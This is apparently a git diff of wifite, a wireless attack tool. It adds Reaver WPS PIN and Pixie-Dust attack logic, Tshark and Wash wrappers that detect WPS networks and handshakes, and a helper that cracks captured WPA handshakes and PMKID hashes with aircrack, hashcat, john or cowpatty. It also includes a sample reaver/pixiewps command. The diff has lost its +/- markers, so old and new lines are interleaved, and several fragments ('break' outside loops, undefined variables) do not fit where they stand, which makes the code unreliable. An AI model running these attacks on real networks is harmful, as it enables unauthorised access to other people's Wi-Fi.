if self.total_timeouts > 0:
meta_statuses.append('{O}Timeouts:%d{W}' % self.total_timeouts)
if self.total_wpsfails > 0:
meta_statuses.append('{O}Fails:%d{W}' % self.total_wpsfails)
if self.locked:
meta_statuses.append('{R}Locked{W}')
if len(meta_statuses) > 0:
main_status += ' (%s)' % ', '.join(meta_statuses)
return main_status
def parse_crack_result(self, stdout):
if self.crack_result is not None:
return self.crack_result
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
# Check if we cracked it, or if process stopped.
if pin is not None or reaver.poll() is not None:
reaver.interrupt()
# Check one-last-time for PIN/PSK/SSID, in case of race condition.
stdout = self.get_stdout()
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout)
# Check if we cracked it.
if pin is not None:
# We cracked it.
bssid = self.target.bssid
Color.clear_entire_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}")
Color.pl("")
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
self.crack_result.dump()
return True
else:
# Failed to crack, reaver proces ended.
Color.clear_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n")
return False
if psk is not None:
# Reaver provided PSK
self.pattack('{G}Cracked WPS PIN: {C}%s{W} {G}PSK: {C}%s{W}' % (pin, psk), newline=True)
else:
self.pattack('{G}Cracked WPS PIN: {C}%s' % pin, newline=True)
# Try to derive PSK from PIN using Bully
self.pattack('{W}Retrieving PSK using {C}bully{W}...')
psk = None
try:
psk = Bully.get_psk_from_pin(self.target, pin)
except KeyboardInterrupt:
pass
if psk is None:
Color.pl('')
self.pattack('{R}Failed {O}to get PSK using bully', newline=True)
else:
self.pattack('{G}Cracked WPS PSK: {C}%s' % psk, newline=True)
crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
crack_result.dump()
return crack_result
return None
def parse_failure(self, stdout):
# Total failure
if 'WPS pin not found' in stdout:
Color.pl('{R}failed: {O}WPS pin not found{W}')
break
raise Exception('Reaver says "WPS pin not found"')
last_step = step
# Status updates, depending on last line of stdout
# Running-time failure
if self.pixie_dust and self.running_time() > Configuration.wps_pixie_timeout:
raise Exception('Timeout after %d seconds' % Configuration.wps_pixie_timeout)
# WPSFail count
self.total_wpsfails = stdout.count('WPS transaction failed')
if self.total_wpsfails >= Configuration.wps_fail_threshold:
raise Exception('Too many failures (%d)' % self.total_wpsfails)
# Timeout count
self.total_timeouts = stdout.count('Receive timeout occurred')
if self.total_timeouts >= Configuration.wps_timeout_threshold:
raise Exception('Too many timeouts (%d)' % self.total_timeouts)
def parse_state(self, stdout):
state = self.state
# Check last line for current status
stdout_last_line = stdout.split('\n')[-1]
# [+] Waiting for beacon from AA:BB:CC:DD:EE:FF
if 'Waiting for beacon from' in stdout_last_line:
step = '({C}step 1/8{W}) waiting for beacon'
state = 'Waiting for beacon'
# [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: NETGEAR07)
elif 'Associated with' in stdout_last_line:
step = '({C}step 2/8{W}) waiting to start session'
state = 'Associated'
elif 'Starting Cracking Session.' in stdout_last_line:
step = '({C}step 3/8{W}) waiting to try pin'
state = 'Started Cracking'
# [+] Trying pin "01235678"
elif 'Trying pin' in stdout_last_line:
step = '({C}step 4/8{W}) trying pin'
state = 'Trying PIN'
# [+] Sending EAPOL START request
elif 'Sending EAPOL START request' in stdout_last_line:
step = '({C}step 5/8{W}) sending eapol start request'
state = 'Sending EAPOL'
# [+] Sending identity response
elif 'Sending identity response' in stdout_last_line:
step = '({C}step 6/8{W}) sending identity response'
elif 'Sending M2 message' in stdout_last_line:
step = '({C}step 7/8{W}) sending m2 message (may take a while)'
state = 'Sending ID'
self.locked = False
# [+] Sending M2 message
elif 'Sending M' in stdout_last_line:
for num in ['2', '4', '6']:
if 'Sending M%s message' % num in stdout_last_line:
state = 'Sending M%s' % num
if num == '2' and self.pixie_dust:
state += ' / Running pixiewps'
self.locked = False
# [+] Received M1 message
elif 'Received M' in stdout_last_line:
for num in ['1', '3', '5', '7']:
if 'Received M%s message' % num in stdout_last_line:
state = 'Received M%s' % num
self.locked = False
# [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
elif 'Detected AP rate limiting,' in stdout_last_line:
if Configuration.wps_skip_rate_limit:
Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
' this kind of failure in the future{W}')
break
step = '({C}step -/8{W}) waiting for AP rate limit'
state = 'Rate-Limited by AP'
self.locked = True
if step != last_step:
# Step changed, reset step timer
time_since_last_step = 0
# Parse all lines since last check
stdout_diff = stdout[self.last_line_number:]
self.last_line_number = len(stdout)
# Detect percentage complete
# [+] 0.05% complete @ 2018-08-23 15:17:23 (42 seconds/pin)
percentages = re.findall(
r"([0-9.]+%) complete .* \(([0-9.]+) seconds/pin\)", stdout_diff)
if len(percentages) > 0:
self.progress = percentages[-1][0]
# Calculate number of PINs tried
# [+] Trying pin "01235678"
new_pins = set(re.findall(r'Trying pin "([0-9]+)"', stdout_diff))
if len(new_pins) > 0:
self.total_attempts += len(new_pins.difference(self.last_pins))
self.last_pins = new_pins
# TODO: Look for "Sending M6 message" which indicates first 4 digits are correct.
return state
def pattack(self, message, newline=False):
# Print message with attack information.
if self.pixie_dust:
time_left = Configuration.wps_pixie_timeout - self.running_time()
time_msg = '{O}%s{W}' % Timer.secs_to_str(time_left)
attack_name = 'Pixie-Dust'
else:
time_since_last_step += 1
time_left = self.running_time()
time_msg = '{C}%s{W}' % Timer.secs_to_str(time_left)
attack_name = 'PIN Attack'
if time_since_last_step > Configuration.wps_pixie_step_timeout:
Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
break
if self.total_attempts > 0 and not self.pixie_dust:
time_msg += ' {D}PINs:{W}{C}%d{W}' % self.total_attempts
# TODO: Timeout check
if reaver.running_time() > Configuration.wps_pixie_timeout:
Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
break
Color.clear_entire_line()
Color.pattack('WPS', self.target, attack_name,
'{W}[%s] %s' % (time_msg, message))
if newline:
Color.pl('')
# Reaver Failure/Timeout check
fail_count = stdout.count('WPS transaction failed')
if fail_count > Configuration.wps_fail_threshold:
Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count)
break
timeout_count = stdout.count('Receive timeout occurred')
if timeout_count > Configuration.wps_timeout_threshold:
Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
break
Color.clear_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", step)
def running_time(self):
return int(time.time() - self.start_time)
time.sleep(1)
continue
# Attack failed, already printed reason why
reaver.interrupt()
stdout_write.close()
return False
@staticmethod
def get_pin_psk_ssid(stdout):
@@ -164,37 +323,53 @@ class Reaver(Attack):
# Check for PIN.
''' [+] WPS pin: 11867722 '''
regex = re.search(r"WPS pin:\s*([0-9]*)", stdout, re.IGNORECASE)
regex = re.search(r"WPS pin:\s*([0-9]+)", stdout, re.IGNORECASE)
if regex:
pin = regex.group(1)
if pin is None:
''' [+] WPS PIN: '11867722' '''
regex = re.search(r"WPS PIN:\s*'([0-9]+)'", stdout, re.IGNORECASE)
if regex:
pin = regex.group(1)
# Check for PSK.
# Note: Reaver 1.6.x does not appear to return PSK (?)
regex = re.search("WPA PSK: *'(.+)'", stdout)
''' [+] WPA PSK: 'password' '''
regex = re.search(r"WPA PSK:\s*'(.+)'", stdout)
if regex:
psk = regex.group(1)
# Check for SSID
"""1.x [Reaver Test] [+] AP SSID: 'Test Router' """
'''1.x [Reaver Test] [+] AP SSID: 'Test Router' '''
regex = re.search(r"AP SSID:\s*'(.*)'", stdout)
if regex:
ssid = regex.group(1)
# Check (again) for SSID
if ssid is None:
"""1.6.x [+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)"""
'''1.6.x [+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)'''
regex = re.search(r"Associated with [0-9A-F:]+ \(ESSID: (.*)\)", stdout)
if regex:
ssid = regex.group(1)
return (pin, psk, ssid)
def get_stdout(self):
''' Gets output from stdout_file '''
if not self.stdout_file:
def get_output(self):
''' Gets output from reaver's output file '''
if not self.output_filename:
return ''
with open(self.stdout_file, 'r') as fid:
if self.output_write:
self.output_write.flush()
with open(self.output_filename, 'r') as fid:
stdout = fid.read()
if Configuration.verbose > 1:
Color.pe('\n{P} [reaver:stdout] %s' % '\n [reaver:stdout] '.join(stdout.split('\n')))
return stdout.strip()
@@ -251,18 +426,33 @@ Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402
executing pixiewps -e d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1baf8cf91664371174c08ee12ec92b0519c54879f21255be5a8770e1fa1880470ef423c90e34d7847a6fcb4924563d1af1db0c481ead9852c519bf1dd429c163951cf69181b132aea2a3684caf35bc54aca1b20c88bb3b7339ff7d56e09139d77f0ac58079097938251dbbe75e86715cc6b7c0ca945fa8dd8d661beb73b414032798dadee32b5dd61bf105f18d89217760b75c5d966a5a490472ceba9e3b4224f3d89fb2b -s 5a67001334e3e4cb236f4e134a4d3b48d625a648e991f978d9aca879469d5da5 -z c8a2ccc5fb6dc4f4d69b245091022dc7e998e42ec1d548d57c35a312ff63ef20 -a 60b59c0c587c6c44007f7081c3372489febbe810a97483f5cc5cd8463c3920de -n 04d48dc20ec785762ce1a21a50bc46c2 -r 7a191e22a7b519f40d3af21b93a21d4f837718b45063a8a69ac6d16c6e5203477c18036ca01e9e56d0322e70c2e1baa66518f1b46d01acc577d1dfa34efd2e9ee36e2b7e68819cddacceb596a8895243e33cb48c570458a539dcb523a4d4c4360e158c29b882f7f385821ea043705eb56538b45daa445157c84e60fc94ef48136eb4e9725b134902b96c90b1ae54cbd42b29b52611903fdae5aa88bfc320f173d2bbe31df4996ebdb51342c6b8bd4e82ae5aa80b2a09a8bf8faa9a8332dc9819
'''
pin_attack_stdout = '''
[+] Pin cracked in 16 seconds
[+] WPS PIN: '01030365'
[+] WPA PSK: 'password'
[+] AP SSID: 'AirLink89300'
'''
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(old_stdout)
assert pin == '12345678', 'pin was "%s", should have been "12345678"' % pin
assert psk == 'Test PSK', 'psk was "%s", should have been "Test PSK"' % psk
assert ssid == "Test Router", 'ssid was %s, should have been Test Router' % repr(ssid)
assert ssid == 'Test Router', 'ssid was %s, should have been Test Router' % repr(ssid)
result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
result.dump()
print ""
print('')
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(new_stdout)
assert pin == '11867722', 'pin was "%s", should have been "11867722"' % pin
assert psk == None, 'psk was "%s", should have been "None"' % psk
assert ssid == "belkin.00e", 'ssid was "%s", should have been "belkin.00e"' % repr(ssid)
assert psk is None, 'psk was "%s", should have been "None"' % psk
assert ssid == 'belkin.00e', 'ssid was "%s", should have been "belkin.00e"' % repr(ssid)
result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
result.dump()
print('')
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(pin_attack_stdout)
assert pin == '01030365', 'pin was "%s", should have been "01030365"' % pin
assert psk == 'password', 'psk was "%s", should have been "password"' % psk
assert ssid == 'AirLink89300', 'ssid was "%s", should have been "AirLink89300"' % repr(ssid)
result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
result.dump()
print('')

View File

@@ -1,15 +1,152 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
from ..model.target import WPSState
from ..util.process import Process
import re
class Tshark(object):
class Tshark(Dependency):
''' Wrapper for Tshark program. '''
dependency_required = False
dependency_name = 'tshark'
dependency_url = 'apt-get install wireshark'
def __init__(self):
pass
@staticmethod
def _extract_src_dst_index_total(line):
# Extract BSSIDs, handshake # (1-4) and handshake 'total' (4)
mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]
match = re.search('(%s)\s*.*\s*(%s).*Message.*(\d).*of.*(\d)' % (mac_regex, mac_regex), line)
if match is None:
# Line doesn't contain src, dst, Message numbers
return None, None, None, None
(src, dst, index, total) = match.groups()
return src, dst, index, total
@staticmethod
def _build_target_client_handshake_map(output, bssid=None):
# Map of target_ssid,client_ssid -> handshake #s
# E.g. 12:34:56,21:43:65 -> 3
target_client_msg_nums = {}
for line in output.split('\n'):
src, dst, index, total = Tshark._extract_src_dst_index_total(line)
if src is None: continue # Skip
index = int(index)
total = int(total)
if total != 4: continue # Handshake X of 5? X of 3? Skip it.
# Identify the client and target MAC addresses
if index % 2 == 1:
# First and Third messages
target = src
client = dst
else:
# Second and Fourth messages
client = src
target = dst
if bssid is not None and bssid.lower() != target.lower():
# We know the BSSID and this msg was not for the target
continue
target_client_key = '%s,%s' % (target, client)
# Ensure all 4 messages are:
# Between the same client and target (not different clients connecting).
# In numeric & chronological order (Message 1, then 2, then 3, then 4)
if index == 1:
target_client_msg_nums[target_client_key] = 1 # First message
elif target_client_key not in target_client_msg_nums:
continue # Not first message. We haven't gotten the first message yet. Skip.
elif index - 1 != target_client_msg_nums[target_client_key]:
continue # Message is not in sequence. Skip
else:
# Happy case: Message is > 1 and is received in-order
target_client_msg_nums[target_client_key] = index
return target_client_msg_nums
@staticmethod
def bssids_with_handshakes(capfile, bssid=None):
if not Tshark.exists():
return []
# Returns list of BSSIDs for which we have valid handshakes in the capfile.
command = [
'tshark',
'-r', capfile,
'-n', # Don't resolve addresses
'-Y', 'eapol' # Filter for only handshakes
]
tshark = Process(command, devnull=False)
target_client_msg_nums = Tshark._build_target_client_handshake_map(tshark.stdout(), bssid=bssid)
bssids = set()
# Check if we have all 4 messages for the handshake between the same MACs
for (target_client, num) in target_client_msg_nums.items():
if num == 4:
# We got a handshake!
this_bssid = target_client.split(',')[0]
bssids.add(this_bssid)
return list(bssids)
@staticmethod
def bssid_essid_pairs(capfile, bssid):
# Finds all BSSIDs (with corresponding ESSIDs) from cap file.
# Returns list of tuples(BSSID, ESSID)
if not Tshark.exists():
return []
ssid_pairs = set()
command = [
'tshark',
'-r', capfile, # Path to cap file
'-n', # Don't resolve addresses
# Extract beacon frames
'-Y', '"wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05"',
]
tshark = Process(command, devnull=False)
for line in tshark.stdout().split('\n'):
# Extract src, dst, and essid
mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]
match = re.search('(%s) [^ ]* (%s).*.*SSID=(.*)$' % (mac_regex, mac_regex), line)
if match is None:
continue # Line doesn't contain src, dst, ssid
(src, dst, essid) = match.groups()
if dst.lower() == 'ff:ff:ff:ff:ff:ff':
continue # Skip broadcast packets
if bssid is not None:
# We know the BSSID, only return the ESSID for this BSSID.
if bssid.lower() == src.lower():
ssid_pairs.add((src, essid)) # This is our BSSID, add it
else:
ssid_pairs.add((src, essid)) # We do not know BSSID, add it.
return list(ssid_pairs)
@staticmethod
def check_for_wps_and_update_targets(capfile, targets):
'''
@@ -21,9 +158,10 @@ class Tshark(object):
capfile - .cap file from airodump containing packets
targets - list of Targets from scan, to be updated
'''
# Tshark is required to detect WPS networks
if not Process.exists('tshark'):
return
from ..config import Configuration
if not Tshark.exists():
raise ValueError('Cannot detect WPS networks: Tshark does not exist')
command = [
'tshark',
@@ -38,7 +176,6 @@ class Tshark(object):
]
p = Process(command)
try:
p.wait()
lines = p.stdout()
@@ -46,17 +183,25 @@ class Tshark(object):
# Failure is acceptable
return
bssids = set()
wps_bssids = set()
locked_bssids = set()
for line in lines.split('\n'):
if ',' not in line:
continue
bssid, locked = line.split(',')
# Ignore if WPS is locked?
if '1' not in locked:
bssids.add(bssid.upper())
wps_bssids.add(bssid.upper())
else:
locked_bssids.add(bssid.upper())
for t in targets:
t.wps = t.bssid.upper() in bssids
target_bssid = t.bssid.upper()
if target_bssid in wps_bssids:
t.wps = WPSState.UNLOCKED
elif target_bssid in locked_bssids:
t.wps = WPSState.LOCKED
else:
t.wps = WPSState.NONE
if __name__ == '__main__':
@@ -79,6 +224,8 @@ if __name__ == '__main__':
# Should update 'wps' field of a target
Tshark.check_for_wps_and_update_targets(test_file, targets)
print 'Target(BSSID={}).wps = {} (Expected: True)'.format(targets[0].bssid, targets[0].wps)
assert targets[0].wps == True
print('Target(BSSID={}).wps = {} (Expected: 1)'.format(
targets[0].bssid, targets[0].wps))
assert targets[0].wps == WPSState.UNLOCKED
print(Tshark.bssids_with_handshakes(test_file, bssid=target_bssid))

88
wifite/tools/wash.py Executable file
View File

@@ -0,0 +1,88 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
from ..model.target import WPSState
from ..util.process import Process
import json
class Wash(Dependency):
''' Wrapper for Wash program. '''
dependency_required = False
dependency_name = 'wash'
dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x'
def __init__(self):
pass
@staticmethod
def check_for_wps_and_update_targets(capfile, targets):
if not Wash.exists():
return
command = [
'wash',
'-f', capfile,
'-j' # json
]
p = Process(command)
try:
p.wait()
lines = p.stdout()
except:
# Failure is acceptable
return
# Find all BSSIDs
wps_bssids = set()
locked_bssids = set()
for line in lines.split('\n'):
try:
obj = json.loads(line)
bssid = obj['bssid']
locked = obj['wps_locked']
if locked != True:
wps_bssids.add(bssid)
else:
locked_bssids.add(bssid)
except:
pass
# Update targets
for t in targets:
target_bssid = t.bssid.upper()
if target_bssid in wps_bssids:
t.wps = WPSState.UNLOCKED
elif target_bssid in locked_bssids:
t.wps = WPSState.LOCKED
else:
t.wps = WPSState.NONE
if __name__ == '__main__':
test_file = './tests/files/contains_wps_network.cap'
target_bssid = 'A4:2B:8C:16:6B:3A'
from ..model.target import Target
fields = [
'A4:2B:8C:16:6B:3A', # BSSID
'2015-05-27 19:28:44', '2015-05-27 19:28:46', # Dates
'11', # Channel
'54', # throughput
'WPA2', 'CCMP TKIP', 'PSK', # AUTH
'-58', '2', '0', '0.0.0.0', '9', # ???
'Test Router Please Ignore', # SSID
]
t = Target(fields)
targets = [t]
# Should update 'wps' field of a target
Wash.check_for_wps_and_update_targets(test_file, targets)
print('Target(BSSID={}).wps = {} (Expected: 1)'.format(
targets[0].bssid, targets[0].wps))
assert targets[0].wps == WPSState.UNLOCKED

0
wifite/util/__init__.py Normal file → Executable file
View File

View File

@@ -1,4 +1,4 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
@@ -21,7 +21,7 @@ class Color(object):
# Helper string replacements
replacements = {
'{+}': ' {W}[{G}+{W}]',
'{+}': ' {W}{D}[{W}{G}+{W}{D}]{W}',
'{!}': ' {O}[{R}!{O}]{W}',
'{?}': ' {W}[{C}?{W}]'
}
@@ -33,7 +33,7 @@ class Color(object):
'''
Prints text using colored format on same line.
Example:
Color.p("{R}This text is red. {W} This text is white")
Color.p('{R}This text is red. {W} This text is white')
'''
sys.stdout.write(Color.s(text))
sys.stdout.flush()
@@ -45,17 +45,13 @@ class Color(object):
@staticmethod
def pl(text):
'''
Prints text using colored format with trailing new line.
'''
'''Prints text using colored format with trailing new line.'''
Color.p('%s\n' % text)
Color.last_sameline_length = 0
@staticmethod
def pe(text):
'''
Prints text using colored format with leading and trailing new line to STDERR.
'''
'''Prints text using colored format with leading and trailing new line to STDERR.'''
sys.stderr.write(Color.s('%s\n' % text))
Color.last_sameline_length = 0
@@ -63,10 +59,10 @@ class Color(object):
def s(text):
''' Returns colored string '''
output = text
for (key,value) in Color.replacements.iteritems():
for (key,value) in Color.replacements.items():
output = output.replace(key, value)
for (key,value) in Color.colors.iteritems():
output = output.replace("{%s}" % key, value)
for (key,value) in Color.colors.items():
output = output.replace('{%s}' % key, value)
return output
@staticmethod
@@ -80,23 +76,46 @@ class Color(object):
def clear_entire_line():
import os
(rows, columns) = os.popen('stty size', 'r').read().split()
Color.p("\r" + (" " * int(columns)) + "\r")
Color.p('\r' + (' ' * int(columns)) + '\r')
@staticmethod
def pattack(attack_type, target, attack_name, progress):
'''
Prints a one-liner for an attack
Includes attack type (WEP/WPA), target BSSID/ESSID & power, attack type, and progress
[name] ESSID (MAC @ Pwr) Attack_Type: Progress
e.g.: [WEP] Router2G (00:11:22 @ 23db) replay attack: 102 IVs
Prints a one-liner for an attack.
Includes attack type (WEP/WPA), target ESSID & power, attack type, and progress.
ESSID (Pwr) Attack_Type: Progress
e.g.: Router2G (23db) WEP replay attack: 102 IVs
'''
essid = "{C}%s{W}" % target.essid if target.essid_known else "{O}unknown{W}"
Color.p("\r{+} {G}%s{W} ({C}%s @ %sdb{W}) {G}%s {C}%s{W}: %s " % (
essid, target.bssid, target.power, attack_type, attack_name, progress))
essid = '{C}%s{W}' % target.essid if target.essid_known else '{O}unknown{W}'
Color.p('\r{+} {G}%s{W} ({C}%sdb{W}) {G}%s {C}%s{W}: %s ' % (
essid, target.power, attack_type, attack_name, progress))
@staticmethod
def pexception(exception):
'''Prints an exception. Includes stack trace if necessary.'''
Color.pl('\n{!} {R}Error: {O}%s' % str(exception))
# Don't dump trace for the "no targets found" case.
if 'No targets found' in str(exception):
return
from ..config import Configuration
if Configuration.verbose > 0 or Configuration.print_stack_traces:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{!} {C} ')
err = err.replace(' File', '{W}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
if __name__ == '__main__':
Color.pl("{R}Testing{G}One{C}Two{P}Three{W}Done")
print Color.s("{C}Testing{P}String{W}")
Color.pl("{+} Good line")
Color.pl("{!} Danger")
Color.pl('{R}Testing{G}One{C}Two{P}Three{W}Done')
print(Color.s('{C}Testing{P}String{W}'))
Color.pl('{+} Good line')
Color.pl('{!} Danger')

View File

@@ -1,135 +1,291 @@
#!/usr/bin/python2.7
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..config import Configuration
from ..model.handshake import Handshake
from ..model.wpa_result import CrackResultWPA
from ..model.pmkid_result import CrackResultPMKID
from ..util.process import Process
from ..util.color import Color
from ..config import Configuration
from ..model.result import CrackResult
from ..util.input import raw_input
from ..tools.aircrack import Aircrack
from ..tools.cowpatty import Cowpatty
from ..tools.hashcat import Hashcat, HcxPcapTool
from ..tools.john import John
from datetime import datetime
from json import loads
import os
class CrackHandshake(object):
def __init__(self):
self.wordlist = Configuration.wordlist or "path_to_wordlist_here"
handshake = self.choose_handshake()
self.crack_handshake(handshake)
# TODO: Bring back the 'print' option, for easy copy/pasting. Just one-liners people can paste into terminal.
def crack_handshake(self, handshake):
cap_file = handshake["handshake_file"]
bssid = handshake["bssid"]
Color.pl("\n Below are commands to crack the handshake {C}%s{W}:" % cap_file)
self.print_aircrack(cap_file, bssid)
self.print_pyrit(cap_file, bssid)
self.print_john(cap_file)
self.print_oclhashcat(cap_file)
Color.pl("")
# TODO: cowpatty, oclhashcat
# TODO: --no-crack option while attacking targets (implies user will run --crack later)
def print_aircrack(self, cap_file, bssid):
Color.pl("")
if not Process.exists("aircrack-ng"):
Color.pl(" {R}aircrack-ng not found.");
Color.pl(" {O}More info on installing {R}Aircrack{O} here: {C}https://www.aircrack-ng.org/downloads.html{W}");
class CrackHelper:
'''Manages handshake retrieval, selection, and running the cracking commands.'''
TYPES = {
'4-WAY': '4-Way Handshake',
'PMKID': 'PMKID Hash'
}
@classmethod
def run(cls):
Configuration.initialize(False)
# Get wordlist
if not Configuration.wordlist:
Color.p('\n{+} Enter wordlist file to use for cracking: {G}')
Configuration.wordlist = raw_input()
if not os.path.exists(Configuration.wordlist):
Color.pl('{!} {R}Wordlist {O}%s{R} not found. Exiting.' % Configuration.wordlist)
return
Color.pl(" {O}# AIRCRACK: CPU-based cracking. Slow.")
Color.pl(" {G}aircrack-ng {W}-a {C}2 {W}-b {C}%s {W}-w {C}%s %s{W}" % (bssid, self.wordlist, cap_file))
def print_pyrit(self, cap_file, bssid):
Color.pl("")
if not Process.exists("pyrit"):
Color.pl(" {R}pyrit not found.");
Color.pl(" {O}More info on installing {R}Pyrit{O} here: {C}https://github.com/JPaulMora/Pyrit{W}");
return
Color.pl(" {O}# PYRIT: GPU-based cracking. Fast.")
Color.pl(" {G}pyrit {W}-b {C}%s {W}-i {C}%s {W}-r {C}%s {W}attack_passthrough{W}" % (bssid, self.wordlist, cap_file))
def print_john(self, cap_file):
Color.pl("")
if not Process.exists("john"):
Color.pl(" {R}john not found.");
Color.pl(" {O}More info on installing {R}John The Ripper{O} here: {C}http://www.openwall.com/john/{W}");
return
Color.pl(" {O}# JOHN: CPU or GPU-based cracking. Fast.")
Color.pl(" {O}# Use --format=wpapsk-cuda (or wpapsk-opengl) to enable GPU acceleration")
Color.pl(" {O}# See http://openwall.info/wiki/john/WPA-PSK for more info on this process")
Color.pl(" {G}aircrack-ng {W}-J hccap {C}%s{W}" % cap_file)
Color.pl(" {G}hccap2john {C}hccap.hccap {W}> {C}hccap.john{W}")
Color.pl(" {G}john {W}--wordlist {C}\"%s\" {W}--format=wpapsk {C}\"hccap.john\"{W}" % (self.wordlist))
def print_oclhashcat(self, cap_file):
Color.pl("")
if not Process.exists("hashcat"):
Color.pl(" {R}hashcat {O}not found.");
Color.pl(" {O}More info on installing {R}hashcat{O} here: {C}https://hashcat.net/hashcat/");
return
Color.pl(" {O}# HASHCAT: GPU-based cracking. Fast.")
Color.pl(" {O}# See {C}https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 {O}for more info")
hccapx_file = "/tmp/generated.hccapx"
cap2hccapx = "/usr/lib/hashcat-utils/cap2hccapx.bin"
if os.path.exists(cap2hccapx):
Color.pl(" {G}%s {W}%s {C}%s{W}" % (cap2hccapx, cap_file, hccapx_file))
else:
Color.pl(" {O}# Install hashcat-utils: {C}https://hashcat.net/wiki/doku.php?id=hashcat_utils")
Color.pl(" {C}cap2hccapx.bin {W}%s {C}%s{W}" % (cap_file, hccapx_file))
Color.pl(" {O}# OR visit https://hashcat.net/cap2hccapx to generate a .hccapx file{W}")
Color.pl(" {O}# Then click BROWSE -> %s -> CONVERT and save to %s" % (cap_file, hccapx_file))
Color.pl(" {G}hashcat {W}-m 2500 {C}%s %s{W}" % (hccapx_file, self.wordlist))
def choose_handshake(self):
hs_dir = Configuration.wpa_handshake_dir
Color.pl("{+} Listing captured handshakes from {C}%s{W}\n" % os.path.realpath(hs_dir))
handshakes = []
for hs_file in os.listdir(hs_dir):
if not hs_file.endswith('.cap') or hs_file.count("_") != 3:
continue
name, essid, bssid, date = hs_file.split("_")
if name != 'handshake':
continue
handshakes.append({
'essid': essid,
'bssid': bssid.replace('-', ':'),
'date': date.replace('.cap', '').replace('T', ' '),
'handshake_file': os.path.realpath(os.path.join(hs_dir, hs_file))
})
handshakes.sort(key=lambda x: x['date'], reverse=True)
Color.pl('')
# Get handshakes
handshakes = cls.get_handshakes()
if len(handshakes) == 0:
raise Exception("No handshakes found in %s" % os.path.realpath(hs_dir))
Color.pl('{!} {O}No handshakes found{W}')
return
# Handshakes Header
max_essid_len = max(max([len(hs["essid"]) for hs in handshakes]), len('(truncated) ESSDID'))
Color.p(" NUM")
Color.p(" " + "ESSID (truncated)".ljust(max_essid_len))
Color.p(" " + "BSSID".ljust(17))
Color.p(" DATE CAPTURED\n")
Color.p(" ---")
Color.p(" " + ("-" * max_essid_len))
Color.p(" " + ("-" * 17))
Color.p(" " + ("-" * 19) + "\n")
# Print all handshakes
for idx, hs in enumerate(handshakes, start=1):
bssid = hs["bssid"]
essid = hs["essid"]
date = hs["date"]
Color.p(" {G}%s{W}" % str(idx).rjust(3))
Color.p(" {C}%s{W}" % essid.ljust(max_essid_len))
Color.p(" {O}%s{W}" % bssid)
Color.p(" {W}%s{W}\n" % date)
# Get number from user
hs_index = raw_input(Color.s("\n{+} Select handshake num to crack ({G}1-%d{W}): " % len(handshakes)))
if not hs_index.isdigit():
raise ValueError("Handshake NUM must be numeric, got (%s)" % hs_index)
hs_index = int(hs_index)
if hs_index < 1 or hs_index > len(handshakes):
raise Exception("Handshake NUM must be between 1 and %d" % len(handshakes))
hs_to_crack = cls.get_user_selection(handshakes)
all_pmkid = all([hs['type'] == 'PMKID' for hs in hs_to_crack])
# Tools for cracking & their dependencies.
available_tools = {
'aircrack': [Aircrack],
'hashcat': [Hashcat, HcxPcapTool],
'john': [John, HcxPcapTool],
'cowpatty': [Cowpatty]
}
# Identify missing tools
missing_tools = []
for tool, dependencies in available_tools.items():
missing = [
dep for dep in dependencies
if not Process.exists(dep.dependency_name)
]
if len(missing) > 0:
available_tools.pop(tool)
missing_tools.append( (tool, missing) )
if len(missing_tools) > 0:
Color.pl('\n{!} {O}Unavailable tools (install to enable):{W}')
for tool, deps in missing_tools:
dep_list = ', '.join([dep.dependency_name for dep in deps])
Color.pl(' {R}* {R}%s {W}({O}%s{W})' % (tool, dep_list))
if all_pmkid:
Color.pl('{!} {O}Note: PMKID hashes can only be cracked using {C}hashcat{W}')
tool_name = 'hashcat'
else:
Color.p('\n{+} Enter the {C}cracking tool{W} to use ({C}%s{W}): {G}' % (
'{W}, {C}'.join(available_tools.keys())))
tool_name = raw_input()
if tool_name not in available_tools:
Color.pl('{!} {R}"%s"{O} tool not found, defaulting to {C}aircrack{W}' % tool_name)
tool_name = 'aircrack'
try:
for hs in hs_to_crack:
if tool_name != 'hashcat' and hs['type'] == 'PMKID':
if 'hashcat' in missing_tools:
Color.pl('{!} {O}Hashcat is missing, therefore we cannot crack PMKID hash{W}')
cls.crack(hs, tool_name)
